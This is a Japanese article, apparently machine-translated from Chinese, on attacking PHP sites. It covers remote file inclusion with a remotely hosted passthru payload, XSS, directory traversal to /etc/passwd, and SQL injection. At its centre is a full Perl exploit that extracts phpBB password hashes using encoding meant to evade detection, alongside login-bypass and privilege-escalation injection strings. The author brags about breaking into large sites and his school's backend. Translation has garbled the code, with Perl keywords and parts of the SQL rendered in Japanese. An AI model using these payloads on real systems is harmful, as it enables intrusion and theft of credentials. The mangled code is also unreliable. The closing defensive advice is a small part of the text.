現在のネットワーク セキュリティから判断すると、誰もが最も懸念し、最も危険にさらされている Web ページの脆弱性は ASP であるはずです。この点に関しては、Xiaozhu が専門家であるため、私は何も言えません。しかし、PHP の観点から言えば、そこにあります。も非常に深刻なセキュリティ脆弱性の問題ですが、この分野に関する記事はあまりありません。ここでは、PHP ページの関連する脆弱性について簡単に説明します。
現在一般的な PHP の脆弱性をまとめました。ファイルの脆弱性、スクリプト コマンド実行の脆弱性、ファイル リークの脆弱性、SQL インジェクションの脆弱性など、大きく次のカテゴリに分類されます。もちろん、次のようないくつかの一般的なテクノロジについても同様です。 COOKIE スプーフィングについては、ここでは説明しません。オンライン上にたくさんの情報があるので、これらの脆弱性を悪用する方法を 1 つずつ分析してみましょう。
まず、含まれるファイルの脆弱性について説明します。この脆弱性は、外部から提供された悪意のあるデータの処理が不十分であるため、リモートの攻撃者がこれらの脆弱性を悪用して、WEB プロセスを使用してシステム上で任意のコマンドを実行することができます。例を見てみましょう: a.php に次のようなコードがあるとします。
<?php
include($include."/xxx.php\");
?>
このコードでは、$include は通常、設定されているパスですが、たとえば、a.php?include=http://web/b を送信すると、自分でパスを構築することで攻撃の目的を達成できます。 .php、この Web は攻撃に使用する空間です。もちろん、b.php には次のようなコードを記述できます。 passthru("/bin/ls /etc ") ; この方法で、意図的な攻撃を実行できます (注: Web サーバーは PHP コードを実行できません。そうしないと問題が発生します。関連する詳細については、「一般的な脆弱性への対処方法」を参照してください。 PHP プログラムの攻撃 >>) この脆弱性に関しては、次のような多くの問題があります。
HotNews、Mambo Open Source、PhpDig、YABB SE、phpBB、InvisionBoard、SOLMETRA SPAW Editor、Les Visiteurs、PhpGedView、X-Cart など。
次に、スクリプト コマンド実行の脆弱性を見てみましょう。これは、ユーザーが送信した URI パラメータのフィルタリングが不十分であることが原因で、悪意のある HTML コードを含むデータを送信すると、クロスサイト スクリプティング攻撃が引き起こされ、機密情報が取得される可能性があります。対象ユーザー。例も示します。PHP Transparent PHP 4.3.1 以前のindex.php ページには、PHPSESSID の十分なフィルタリングがありません。このようなコードを通じて攻撃の目的を達成できます。
http://web/index.php?PHPSESSID="><script>...</script >スクリプトでは、ユーザーの機密情報を取得する関数を構築できます。この点に関する脆弱性は比較的少数です。 PHP Transparent に加えて、PHP-Nuke、phpBB、PHP Classifieds、PHPix、Ultimate PHP Board などがあります。
次に、ファイル開示の脆弱性を見てみましょう。この脆弱性は、ユーザーが送信したパラメータのフィルタリングが不十分であることが原因で、これを利用してディレクトリ トラバーサル攻撃を実行し、機密情報を取得する可能性があります。最近発見された phpMyAdmin を例に挙げてみましょう。phpMyAdmin では、export.php ページがユーザーによって送信された「what」パラメータを完全にフィルタリングしていません。リモート攻撃者は、複数の「../」文字を含むデータを送信することでこれを回避できます。 WEB ROOT の制限を克服し、WEB 権限を使用してシステム上のファイル情報を表示します。たとえば、export.php?what=../../../../../.. /etc/passwd%00 というアドレスを入力すると、ファイル漏洩の目的を達成できます。比較的多くあります: myPHPNuke、McNews など。
最後に、最もエキサイティングな場所に戻ります。以前は、Xiaozhu が「SQL インジェクションの秘密の本」を理解するまで、手動でインジェクションを行う必要がありました。 NBSI の開発後、私たちの NB Alliance は本当に大きな変化をもたらしました。CSDN、Monopoly Forum、China Channel、その他の大規模な Web サイトの抜け穴発見を支援してきました (これについては少し話が逸れるので、これ以上は触れません)。 ..) 話に戻りましょう。実際、ASP での SQL インジェクションは、使用される関数に少し注意を払うだけで、php での SQL インジェクションと同じです。実際、この機能は基本的に変わっていません。PHP の SQL インジェクションを見ると、誰もが PHP-NUKE や PHPBB を思い浮かべるのではないでしょうか。よく言われるように、Dongwang のようなフォーラムは ASP の世界における抜け穴の王であるべきです。フォーラムのセキュリティが低すぎると言っているのではなく、他の人が使用すればするほど、より多くの人々が調査し、より多くのセキュリティホールが発見されるということです。これは PHPBB にも当てはまります。ほとんどの人が PHP を使用してフォーラムを構築する場合、phpBB.com の最初のバージョンから最近の phpBB 2.0 まで、その脆弱性が常に出現しています。 groupcp .php の .6 バージョンと、以前に発見された search.php、profile.php、viewtopic.php などを合計すると、約 12 個になります。これにより、PHP の脆弱性を研究する際に、これを実験製品として使用する人が常に出てきました。 . ことわざにあるように、練習すれば完璧になります。PHPBB は今後ますます良くなると信じています。
さて、脆弱性の原因を分析しましょう。viewtopic.php ページを例として取り上げます。viewtopic.php を呼び出すと、「topic_id」が GET リクエストから直接取得され、フィルタリングなしで SQL クエリ コマンドに渡されます。を使用すると、攻撃者は特別な SQL 文字列を送信して MD5 パスワードを取得でき、このパスワード情報は自動ログインやブルート フォース クラッキングに使用される可能性があります。 (特に重要な理由がない限り、ブルートフォースクラッキングをしたい人はいないと思います) まず、関連するソースコードを見てみましょう。
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS['topic']) )
# {
# $topic_id = intval($HTTP_GET_VARS['topic']);
# }
上記のことから、送信された view=newest および sid が値に設定されている場合、実行されるクエリ コードは次のようになっていることがわかります (PHPBB ソース コードをまだ見ていない場合は、それを読んでからここに来ることをお勧めします)影響を受けるシステムは phpBB 2.0.5 および phpBB 2.0.4)
# $sql = "select p.post_id
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
# ここで、s.session_id = '$session_id'
# AND u.user_id = s.session_user_id
# AND p.topic_id = $topic_id
# AND p.post_time >= u.user_lastvisit
# p.post_time ASC で注文
# LIMIT 1";
Rick は次のテスト コードを提供しました:
use IO::Socket;
$remote = 'ローカルホスト';
$view_topic = シフト || '/phpBB2/viewtopic.php';
$uid = シフト || 2;
$ポート = 80;
$dbtype = 'mysql4' # mysql4 または pgsql;
print "uid $uid サーバー $remote dbtype: $dbtype のパスワード ハッシュを取得しようとしていますn";
$p = "";
for($index=1; $index<=32; $index++) {
$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $port、
プロト => "tcp",
タイプ => SOCK_STREAM)
または、「$remote:$port :$@nに接続できませんでした」;
$str = "GET $view_topic" . "?sid=1&topic_id=-1" .random_encode(make_dbsql()) . " HTTP/1.0nn";
$socket $str; を出力します。
print $socket "Cookie: phpBB2mysql_sid=1n"; # これを pgsql に置き換えるか、削除します
print $socket "ホスト: $remotenn";
while ($answer = <$socket>) {
if ($answer =~ /location:.*x23(d+)/) # 場所と一致します: viewtopic.php?p=<num>#<num> {
$p .= chr();
}
}
閉じる($socket);
}
print "nuid $uid の MD5 ハッシュは $pn";
# ランダムエンコード文字列は検出を回避するのに役立ちます。
サブランダムエンコード {
$str = シフト;
$ret = "";
for($i=0; $i<length($str); $i++) {
$c = substr($str,$i,1);
$j = ランド長($str) * 1000;
if (int($j) % 2 || $c eq ' ') {
$ret .= "%" . sprintf("%x",ord($c));
} それ以外 {
$ret .= $c;
}
}
$ret を返します。
}
サブ make_dbsql {
if ($dbtype eq 'mysql4') {
return " Union select ord(substring(user_password," . $index . ",1)) from phpbb_users where user_id=$uid/*" ;
} elsif ($dbtype eq 'pgsql') {
return "; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false";
} それ以外 {
戻る "";
}
ん
。この関数は HASH 値を取得することです。
これを見ると、なぜ先ほど述べた変更された関数が使用されないのかという疑問が生じるかもしれません。私が言うと笑われることを恐れません。実際、インターネット上の多くのサイトの一部のページのクエリ ステートメントは次のようになります。このような:
display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc
笑わないでください。これを使っていくつかの大きな Web サイトにアクセスしたことがあります。どれかはわかりませんが、私たちの学校の Web サイトでは、これをバックエンドにアクセスするために使用しました (学校のネットワーク センターがアクセスできることを願っています)。わかりません) この記事では、前の機能を使用してください。そうでない場合は、他の人のパスワードを変更する必要があります。
SQL インジェクションに関しては、PHP が ASP とは異なることを忘れていましたが、SQL ステートメントの使用において、MySQL は MSSQL ほど柔軟ではありません。そのため、MSSQL で使用できる多くのクエリ ステートメントは、一般的に MySQL データベースでは機能しません。一般的な注入ステートメントは次のようなものです: aaa.php?id=a' into outfile 'pass.txt or aaa.php?id=a' into outfile 'pass.txt' /*さらに次のように変更できます: aaa.php? id=a' または 1=1 Union select id、name、password フォーム ユーザーを outfile 'c:/a.txt に保存します。これにより、データベース データをファイルにエクスポートして表示できます。
または次のようにします: mode=',user_level='4
このステートメントは通常、データを変更するときに使用され、ページに脆弱性がある場合、権限を昇格させる効果が得られます。
' OR 1=1 -- or: 1' または 1='1 などは、ここでは詳しく説明しませんが、PHP では SQL インジェクションが最も多くの脆弱性のようです。これが問題です。
実際、上記の分類の理由は 1 つだけであることがわかります。送信されたパラメータがフィルタリングされていないか、フィルタリングが十分に厳密ではありません。ここでは、防御について説明します。一般的なメソッド
まず、個人的に最も重要なことは、magic_quotes_gpc を ON に設定することです。その機能は、一重引用符、二重引用符、バックスラッシュ、およびヌル文字をバックスラッシュを含む文字に変換することです。 select * from admin where username='$username' およびpassword ='$password' ステートメントでは、攻撃者は 1' または 1='1 を使用して検証をスキップしたいと考えていますが、これらの文字列は次のように変換されます: select * from admin where実際、addlashes() 操作が機能しない場合は、独自の関数を定義してください。 myslq4 より前のバージョンではサブステートメントがサポートされておらず、mysql の新しいバージョンでは、magic_quotes_gpc オプションがデフォルトでオンになるため、PHP インジェクションに携わる人々も比較的憂鬱になっているようです。
インクルードファイルの脆弱性を解決する方法は、インクルードファイルのパラメータに変数を使用しないようにプログラマに依頼することです。変数を使用する場合は、インクルードされるファイル名を厳密にチェックし、ユーザーが任意に指定しないようにする必要があります。 global_variables をオフに設定することをお勧めします。たとえば、以前のファイルを開く際の PHP 操作パスを制限することは必要なオプションです。また、特に必要がない限り、PHP のリモートファイルオープン機能は必ずオフにしてください。 php.ini ファイルを変更します:allow_url_fopen = Off (注: <<PHP セキュリティの問題: リモート オーバーフロー、DoS、セーフモード バイパスの脆弱性>> を参照してください)。